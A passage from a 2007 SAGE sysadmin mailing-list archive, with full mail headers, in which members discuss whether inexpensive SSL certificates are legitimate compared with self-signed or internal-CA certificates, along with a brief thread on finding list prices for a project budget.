	for <sage-members@sage.org>; Fri, 19 Jan 2007 11:22:16 -0800 (PST)
Received: from rune.pobox.com (rune.pobox.com [208.210.124.79])
	by gretel.pobox.com (Postfix) with ESMTP id E70AC5462782
	for <sage-members@sage.org>; Fri, 19 Jan 2007 14:07:24 -0500 (EST)
Received: from rune (localhost [127.0.0.1])
	by rune.pobox.com (Postfix) with ESMTP id 98521AC254;
	Fri, 19 Jan 2007 14:06:43 -0500 (EST)
Received: from localhost (cpe-66-108-14-241.nyc.res.rr.com [66.108.14.241])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by rune.sasl.smtp.pobox.com (Postfix) with ESMTP id 56419AC225;
	Fri, 19 Jan 2007 14:06:40 -0500 (EST)
Date: Fri, 19 Jan 2007 14:06:17 -0500
From: "Philip J. Hollenback" <philiph@pobox.com>
To: "Julian C. Dunn" <jdunn@aquezada.com>
Cc: Alexander Lobodzinski <lobo@mental.com>, sage-members@sage.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Message-ID: <20070119190617.GN20885@hollenback.net>
Reply-To: philiph@pobox.com
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20070119135352.E38307@aphrodite.acf.aquezada.com>
User-Agent: mutt-ng/devel-r655 (Darwin)
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=11%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 01/19/07, Julian C. Dunn wrote:
> I think that what the OP is saying is that he doesn't want to make
> every user load a custom root certificate, possibly because of the
> size of his installed base or for other reasons.

Right, it is just too much work to make all users load custom
certificates on their machines, because there are too many platforms
and too many different applications to support.

-- 
Philip J. Hollenback
www.hollenback.net


From sage-members-owner@usenix.org Fri Jan 19 11:24:40 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JJOaSr007412
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 11:24:36 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JJOahd007411
	for sage-members-0utGoign; Fri, 19 Jan 2007 11:24:36 -0800 (PST)
Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.230])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JJO6Jt007378
	for <sage-members@usenix.org>; Fri, 19 Jan 2007 11:24:17 -0800 (PST)
Received: by wr-out-0506.google.com with SMTP id 37so493889wra
	for <sage-members@usenix.org>; Fri, 19 Jan 2007 11:24:06 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:from:to:subject:date:user-agent:references:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:message-id;
	b=XfhIkazM9y4yzcYOAO9i3GvW3XW8NPr+9FsyC1rNd3puTfOLB3AaH/yXyo8aV+SZtvy0lJ4j5dpFYvZ46uHhxXyXW2uOmSt3/3Q0xl0KSxrATit+WfkS/2AzBJ1Q/9ydP8Jfd2Tsy88KukIPfmxEo4Q+0VjQy3XadvnM9LWpUdY=
Received: by 10.82.120.14 with SMTP id s14mr928507buc.1169234644964;
	Fri, 19 Jan 2007 11:24:04 -0800 (PST)
Received: from ?192.168.1.102? ( [68.6.160.137])
	by mx.google.com with ESMTP id y1sm2288821hua.2007.01.19.11.24.03;
	Fri, 19 Jan 2007 11:24:04 -0800 (PST)
From: Mike Noble <mgnoble@gmail.com>
To: sage-members@usenix.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Date: Fri, 19 Jan 2007 11:23:59 -0800
User-Agent: KMail/1.9.5
References: <20070119170207.GH20885@hollenback.net>
In-Reply-To: <20070119170207.GH20885@hollenback.net>
MIME-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Message-Id: <200701191123.59646.mgnoble@gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Friday 19 January 2007 09:02, Philip J. Hollenback wrote:
> At my work we have several internal websites which we serve over SSL
> with self-signed certificates.  Users complain about the annoyance of
> having to approve loading these sites in their browser every time.
> Thus I decided to get some 'real' SSL certificates.
>
> After some web searching, I found that namecheap.com would sell me a
> certificate for $13.95.  I purchases one of these and installed it.
> The certificate seems to work just fine.
>

I have used registerfly in the past and had no issues.
You can get a certificate for $9.99/yr or you can spend as much as
$99.99/yr.  Depends on what you really need.

http://www.registerfly.com/ssl/

Mike


From sage-members-owner@usenix.org Fri Jan 19 11:51:50 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JJpnGK009041
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 11:51:49 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JJpnRG009040
	for sage-members-0utGoign; Fri, 19 Jan 2007 11:51:49 -0800 (PST)
Received: from smtp-roam.Stanford.EDU (smtp-roam.Stanford.EDU [171.64.10.152])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JJpVp0009026
	for <sage-members@sage.org>; Fri, 19 Jan 2007 11:51:36 -0800 (PST)
Received: from [192.168.1.3] (c-67-180-23-63.hsd1.ca.comcast.net
	[67.180.23.63]) (authenticated bits=0)
	by smtp-roam.Stanford.EDU (8.12.11/8.12.11) with ESMTP id
	l0JJZpGU008462
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT);
	Fri, 19 Jan 2007 11:35:53 -0800
In-Reply-To: <20070119135352.E38307@aphrodite.acf.aquezada.com>
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
Cc: Alexander Lobodzinski <lobo@mental.com>, sage-members@sage.org
Content-Transfer-Encoding: 7bit
From: "Sandor W. Sklar" <ssklar@stanford.edu>
Subject: Re: [SAGE] Are cheap SSL certificates legitimate? 
Date: Fri, 19 Jan 2007 11:35:49 -0800
To: "Julian C. Dunn" <jdunn@aquezada.com>
X-Mailer: Apple Mail (2.752.2)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Jan 19, 2007, at 10:54 AM, Julian C. Dunn wrote:

> On Fri, 19 Jan 2007, Alexander Lobodzinski wrote:
>
>> () At my work we have several internal websites which we serve  
>> over SSL
>> () with self-signed certificates.  Users complain about the  
>> annoyance of
>> () having to approve loading these sites in their browser every time.
>>
>> I cannot comment on namecheap.com, but did you consider creating a  
>> root certificate (valid 15 years or so) and use that to sign the  
>> various web/imap/smtp site certificates?  Then every user has to  
>> load your root cert once and that's it.
>
> I think that what the OP is saying is that he doesn't want to make  
> every user load a custom root certificate, possibly because of the  
> size of his installed base or for other reasons.

We've switched to certs from Comodo (www.instantssl.com), which are  
much less expensive then those from Verisign (I think they are $70  
for a two year cert.)  The main problem has been that not all  
browsers "trust" these certs; you have to install on your server an  
certificate chain file that adds this trust level.  Not difficult,  
just another thing to deal with.

	-s-



From sage-members-owner@usenix.org Fri Jan 19 12:12:18 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JKC779009997
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 12:12:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JKC6mF009995
	for sage-members-0utGoign; Fri, 19 Jan 2007 12:12:06 -0800 (PST)
Received: from relay03.pair.com (relay03.pair.com [209.68.5.17])
	by usenix.org (8.13.6/8.13.6) with SMTP id l0JKBi98009966
	for <sage-members@sage.org>; Fri, 19 Jan 2007 12:11:55 -0800 (PST)
Received: (qmail 55238 invoked from network); 19 Jan 2007 20:11:36 -0000
Received: from unknown (HELO ?128.112.235.206?) (unknown)
	by unknown with SMTP; 19 Jan 2007 20:11:36 -0000
X-pair-Authenticated: 128.112.235.206
Message-ID: <45B125F8.8050307@negate.org>
Date: Fri, 19 Jan 2007 15:11:36 -0500
From: Jonathan Billings <billings@negate.org>
User-Agent: Thunderbird 1.5.0.9 (X11/20061220)
MIME-Version: 1.0
To: sage-members@sage.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
	<D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
In-Reply-To: <D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=10%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Sandor W. Sklar wrote:
> We've switched to certs from Comodo (www.instantssl.com), which are much 
> less expensive then those from Verisign (I think they are $70 for a two 
> year cert.)  The main problem has been that not all browsers "trust" 
> these certs; you have to install on your server an certificate chain 
> file that adds this trust level.  Not difficult, just another thing to 
> deal with.

If you're installing a certificate chain file to support a certificate, 
and this is only for a internal site, there's no point buying a $70 SSL 
cert when you can make your own for free.

If the clients using the internal site are using windows and use AD, I 
*believe* there's a way to push out the SSL root through active 
directory.  I've seen it done but haven't ever run my own AD domain.

-- 
Jonathan Billings <billings@negate.org>


From sage-members-owner@usenix.org Fri Jan 19 12:27:49 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JKReK7010722
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 12:27:45 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JKRdp5010721
	for sage-members-0utGoign; Fri, 19 Jan 2007 12:27:39 -0800 (PST)
Received: from smtp-roam.Stanford.EDU (smtp-roam.Stanford.EDU [171.64.10.152])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JKRDIb010697
	for <sage-members@sage.org>; Fri, 19 Jan 2007 12:27:23 -0800 (PST)
Received: from [192.168.1.3] (c-67-180-23-63.hsd1.ca.comcast.net
	[67.180.23.63]) (authenticated bits=0)
	by smtp-roam.Stanford.EDU (8.12.11/8.12.11) with ESMTP id
	l0JKR9lp018923
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT);
	Fri, 19 Jan 2007 12:27:10 -0800
In-Reply-To: <45B125F8.8050307@negate.org>
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
	<D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
	<45B125F8.8050307@negate.org>
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <55E31D63-F9CA-47B9-B503-3072C11D2F0A@stanford.edu>
Cc: sage-members@sage.org
Content-Transfer-Encoding: 7bit
From: "Sandor W. Sklar" <ssklar@stanford.edu>
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Date: Fri, 19 Jan 2007 12:27:07 -0800
To: Jonathan Billings <billings@negate.org>
X-Mailer: Apple Mail (2.752.2)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Jan 19, 2007, at 12:11 PM, Jonathan Billings wrote:

> Sandor W. Sklar wrote:
>> We've switched to certs from Comodo (www.instantssl.com), which  
>> are much less expensive then those from Verisign (I think they are  
>> $70 for a two year cert.)  The main problem has been that not all  
>> browsers "trust" these certs; you have to install on your server  
>> an certificate chain file that adds this trust level.  Not  
>> difficult, just another thing to deal with.
>
> If you're installing a certificate chain file to support a  
> certificate, and this is only for a internal site, there's no point  
> buying a $70 SSL cert when you can make your own for free.

they aren't for internal sites.



From sage-members-owner@usenix.org Fri Jan 19 12:36:26 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JKaPoR011308
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 12:36:25 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JKaPA0011307
	for sage-members-0utGoign; Fri, 19 Jan 2007 12:36:25 -0800 (PST)
Received: from relay01.pair.com (relay01.pair.com [209.68.5.15])
	by usenix.org (8.13.6/8.13.6) with SMTP id l0JKa3i5011293
	for <sage-members@sage.org>; Fri, 19 Jan 2007 12:36:14 -0800 (PST)
Received: (qmail 93274 invoked from network); 19 Jan 2007 20:35:58 -0000
Received: from unknown (HELO ?128.112.235.206?) (unknown)
	by unknown with SMTP; 19 Jan 2007 20:35:58 -0000
X-pair-Authenticated: 128.112.235.206
Message-ID: <45B12BAE.3070007@negate.org>
Date: Fri, 19 Jan 2007 15:35:58 -0500
From: Jonathan Billings <billings@negate.org>
User-Agent: Thunderbird 1.5.0.9 (X11/20061220)
MIME-Version: 1.0
To: sage-members@sage.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
	<D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
	<45B125F8.8050307@negate.org>
	<55E31D63-F9CA-47B9-B503-3072C11D2F0A@stanford.edu>
In-Reply-To: <55E31D63-F9CA-47B9-B503-3072C11D2F0A@stanford.edu>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Sandor W. Sklar wrote:
>> If you're installing a certificate chain file to support a 
>> certificate, and this is only for a internal site, there's no point 
>> buying a $70 SSL cert when you can make your own for free.
> 
> they aren't for internal sites.

Of course, for public-facing sites, you'll want to consider paying for a 
certificate that is already in the client's web client.  Since you're 
requiring the end user to install a certificate chain, it really isn't 
much better than using your own SSL root certificate -- it'll require a 
minor hassle for the user.

The original poster's email indicated that it *was* for an internal site 
(and that's why I qualified it as such).  No point paying for something 
when the free alternative requires the same procedure.


-- 
Jonathan Billings <billings@negate.org>


From sage-members-owner@usenix.org Fri Jan 19 13:32:54 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JLWrj7013358
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 13:32:54 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JLWriA013357
	for sage-members-0utGoign; Fri, 19 Jan 2007 13:32:53 -0800 (PST)
Received: from intrawest.com (mail.intrawest.com [208.181.214.82])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JLWgZN013343
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Fri, 19 Jan 2007 13:32:51 -0800 (PST)
Received: from ([10.0.9.157])
	by ironmail1.intrawest.com with ESMTP  id 5502507.6837216;
	Fri, 19 Jan 2007 13:21:37 -0800
Received: from srv-van-mlrep.iDirectory.itw ([10.0.10.80]) by
	SRV-VAN-MAILFE2.iDirectory.itw with Microsoft
	SMTPSVC(6.0.3790.1830); Fri, 19 Jan 2007 13:20:35 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: [SAGE] Budget pricing
Date: Fri, 19 Jan 2007 13:20:33 -0800
Message-ID: <985E6BD9CFC75549883A7816B194AFB20F775AC9@srv-van-mlrep.iDirectory.itw>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Budget pricing
Thread-Index: Acc8D6dSzyUIplJVQhesWe2n/b7Xjg==
From: "Dilan Arumainathan \(V\)" <DArumainathan@intrawest.com>
To: <sage-members@sage.org>
X-OriginalArrivalTime: 19 Jan 2007 21:20:35.0910 (UTC)
	FILETIME=[A8E4EE60:01C73C0F]
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id
	l0JLWqZM013351
Sender: owner-sage-members@usenix.org
Precedence: bulk


Hi, I am putting together a buget for a project I am working on. List
pricing is just fine for now. Is there a place where I can go to get
pricing estimates for this purpose. Does Gartner or the likes provide
this type of information?

Thanks
Dilan



From sage-members-owner@usenix.org Fri Jan 19 13:58:04 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JLvtGd014529
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 13:58:01 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JLvtIe014528
	for sage-members-0utGoign; Fri, 19 Jan 2007 13:57:55 -0800 (PST)
Received: from will.to (stat-153-124-108.myactv.net [24.153.124.108])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JLvW8q014514
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Fri, 19 Jan 2007 13:57:43 -0800 (PST)
Received: from [149.77.33.118] (pants.nyc.deshaw.com [149.77.33.118])
	(authenticated bits=0)
	by will.to (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id l0JLuMo0022387
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Fri, 19 Jan 2007 16:56:23 -0500
Message-ID: <45B13E85.2000707@will.to>
Date: Fri, 19 Jan 2007 16:56:21 -0500
From: Doug Hughes <doug@will.to>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: "Dilan Arumainathan (V)" <DArumainathan@intrawest.com>
CC: sage-members@sage.org
Subject: Re: [SAGE] Budget pricing
References: <985E6BD9CFC75549883A7816B194AFB20F775AC9@srv-van-mlrep.iDirectory.itw>
In-Reply-To: <985E6BD9CFC75549883A7816B194AFB20F775AC9@srv-van-mlrep.iDirectory.itw>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Greylist: Sender succeeded SMTP AUTH authentication, not delayed by
	milter-greylist-3.0rc3 (will.to [24.153.124.108]);
	Fri, 19 Jan 2007 16:56:23 -0500 (EST)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Dilan Arumainathan (V) wrote:
> Hi, I am putting together a buget for a project I am working on. List
> pricing is just fine for now. Is there a place where I can go to get
> pricing estimates for this purpose. Does Gartner or the likes provide
> this type of information?
>
>   
Gartner? probably not. Depending what you are trying to budget, 
(hardware vs people time vs project milestones), google may (or may not) 
be a good place to start. Since you said 'list pricing', I assume you 
mean like actual durable goods. In which case, google (or other search 
engine) is a reasonable place to start unless you are talking about high 
end equipment. In that case, you need to talk directly to the vendors 
(things like Cisco GSR routers, Sun E15k, etc)



From sage-members-owner@usenix.org Fri Jan 19 14:14:45 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JMEYJp015516
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 14:14:39 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JMEXNt015515
	for sage-members-0utGoign; Fri, 19 Jan 2007 14:14:33 -0800 (PST)
Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.226])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JME4uR015487
	for <sage-members@sage.org>; Fri, 19 Jan 2007 14:14:15 -0800 (PST)
Received: by nz-out-0506.google.com with SMTP id z31so342072nzd
	for <sage-members@sage.org>; Fri, 19 Jan 2007 14:13:58 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=QjUQXV3QuJEQDc4vJQ9lUyOAEWn/pMWg5xkyE9yRgBaqNgxOjybxxpmb5ksXxtujWnCIwJrRXejIwN/M4No6a8PAl+mrRKeQ3gMMReusoD9hE+Qq+BKQLDiz57NrfxF0RmcMp0tJRXqdwEmR4YH544Hy2E+KyTYrmDrLdDyj3OQ=
Received: by 10.48.202.14 with SMTP id z14mr2930669nff.1169244837402;
	Fri, 19 Jan 2007 14:13:57 -0800 (PST)
Received: by 10.78.136.1 with HTTP; Fri, 19 Jan 2007 14:13:57 -0800 (PST)
Message-ID: <bb075cdf0701191413w1afaf2afg33b399bdf5c2490f@mail.gmail.com>
Date: Fri, 19 Jan 2007 17:13:57 -0500
From: "Rodrick Brown" <rodrick.brown@gmail.com>
To: "Doug Hughes" <doug@will.to>
Subject: Re: [SAGE] Budget pricing
Cc: "Dilan Arumainathan (V)" <DArumainathan@intrawest.com>,
	sage-members@sage.org
In-Reply-To: <45B13E85.2000707@will.to>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <985E6BD9CFC75549883A7816B194AFB20F775AC9@srv-van-mlrep.iDirectory.itw>
	<45B13E85.2000707@will.to>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=8%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 1/19/07, Doug Hughes <doug@will.to> wrote:
> Dilan Arumainathan (V) wrote:
> > Hi, I am putting together a buget for a project I am working on. List
> > pricing is just fine for now. Is there a place where I can go to get
> > pricing estimates for this purpose. Does Gartner or the likes provide
> > this type of information?
> >
> >
> Gartner? probably not. Depending what you are trying to budget,
> (hardware vs people time vs project milestones), google may (or may not)
> be a good place to start. Since you said 'list pricing', I assume you
> mean like actual durable goods. In which case, google (or other search
> engine) is a reasonable place to start unless you are talking about high
> end equipment. In that case, you need to talk directly to the vendors
> (things like Cisco GSR routers, Sun E15k, etc)
>
>

Try using New York State Office of General Services, they will carry a
detailed list of technology services, and hardware with current list
prices and state discounts. We use to use this resource to order
equipment, software and services when working for the government.

http://wwwstage.ogs.state.ny.us/purchase/prices/75016T940052prices101504.pdf

Trying to find any information their main page is pretty tedious you
will have much better look doing a Google search for NYS OGS <product
here>.

Best of Luck.

-- 
Rodrick R. Brown


From sage-members-owner@usenix.org Fri Jan 19 14:33:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JMXRoh016419
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 14:33:27 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JMXQTC016418
	for sage-members-0utGoign; Fri, 19 Jan 2007 14:33:26 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JMXI2n016406
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Fri, 19 Jan 2007 14:33:19 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0JMXIZr016405
	for sage-members@usenix.org; Fri, 19 Jan 2007 14:33:18 -0800 (PST)
Received: from haus.nakedape.cc (haus.nakedape.cc [63.105.18.11])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0JLBpXt012580
	for <sage-members@sage.org>; Fri, 19 Jan 2007 13:12:01 -0800 (PST)
Received: from localhost (vidar.nakedape.cc [192.168.1.11])
	by localhost.nakedape.priv (Naked Ape Mail Server) with ESMTP id
	CCB3C3919A
	for <sage-members@sage.org>; Fri, 19 Jan 2007 13:11:44 -0800 (PST)
X-Virus-Scanned: by Naked Ape Mail Defender <http://naked-ape.com/r/md> at
	nakedape.cc
Received: from haus.nakedape.cc ([192.168.1.1])
	by localhost (vidar.nakedape.cc [192.168.1.11]) (amavisd-new,
	port 10024) with LMTP id oWcDO10SvPCw for <sage-members@sage.org>;
	Fri, 19 Jan 2007 13:11:37 -0800 (PST)
Received: from [192.168.110.10] (ods-fw-pat-qw.odshp.com [65.124.255.195])
	(using SSLv3 with cipher RC4-MD5 (128/128 bits))
	(No client certificate requested)
	by haus.nakedape.cc (Naked Ape Mail Server) with ESMTP id CD15A3703A
	for <sage-members@sage.org>; Fri, 19 Jan 2007 13:11:36 -0800 (PST)
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
From: Wil Cooley <wcooley@nakedape.cc>
Reply-To: sage-members@sage.org
To: SAGE Members <sage-members@sage.org>
In-Reply-To: <45B12BAE.3070007@negate.org>
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
	<D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
	<45B125F8.8050307@negate.org>
	<55E31D63-F9CA-47B9-B503-3072C11D2F0A@stanford.edu>
	<45B12BAE.3070007@negate.org>
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="=-4BzeE8pvUPTsALC56aHT"
Organization: http://nakedape.cc
Date: Fri, 19 Jan 2007 13:11:35 -0800
Message-Id: <1169241095.17312.21.camel@willow.odshp.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


--=-4BzeE8pvUPTsALC56aHT
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Fri, 2007-01-19 at 15:35 -0500, Jonathan Billings wrote:

> Of course, for public-facing sites, you'll want to consider paying for a=20
> certificate that is already in the client's web client.  Since you're=20
> requiring the end user to install a certificate chain, it really isn't=20
> much better than using your own SSL root certificate -- it'll require a=20
> minor hassle for the user.

The chain certs that you have to install for InstantSSL and others like
that are installed server side, not client side.  When correctly
configured (which isn't hard w/mod_ssl), the client never notices.

My own opinion is that like everything else Verisign does, you pay a
premium for brand recognition.  With SSL certificates, like DNS
registration, clients don't actually ever notice or care.  All the
"Premium" and "Gold" and "Extra Secure" blah blah blah are, as far as I
can tell, just marketing BS (with the exception of when it actually
entails increased key lengths).

When was the last time you, as a trained IT professional, actually
looked at the issuer of the certificate for a site you were visiting
(except, of course, troubleshooting your own stuff)?

Wil
--=20
Wil Cooley <wcooley@nakedape.cc>
http://nakedape.cc

--=-4BzeE8pvUPTsALC56aHT
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQBFsTQHJpn3uYWUEaoRAipMAJwKqvpZkS9AU4DF05dupW8VJ9u0XwCdE8Sj
rZ7oGyalJj0hM4TTjPXRUyo=
=QYhy
-----END PGP SIGNATURE-----

--=-4BzeE8pvUPTsALC56aHT--


From sage-members-owner@usenix.org Fri Jan 19 16:12:15 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K0CEpO019715
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 16:12:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0K0CDPR019714
	for sage-members-0utGoign; Fri, 19 Jan 2007 16:12:13 -0800 (PST)
Received: from gretel.pobox.com (gretel.pobox.com [208.58.1.197])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K0BlQ9019691
	for <sage-members@sage.org>; Fri, 19 Jan 2007 16:11:57 -0800 (PST)
Received: from sceptre.pobox.com (sceptre.pobox.com [207.106.133.20])
	by gretel.pobox.com (Postfix) with ESMTP id 425AE5463552
	for <sage-members@sage.org>; Fri, 19 Jan 2007 19:09:32 -0500 (EST)
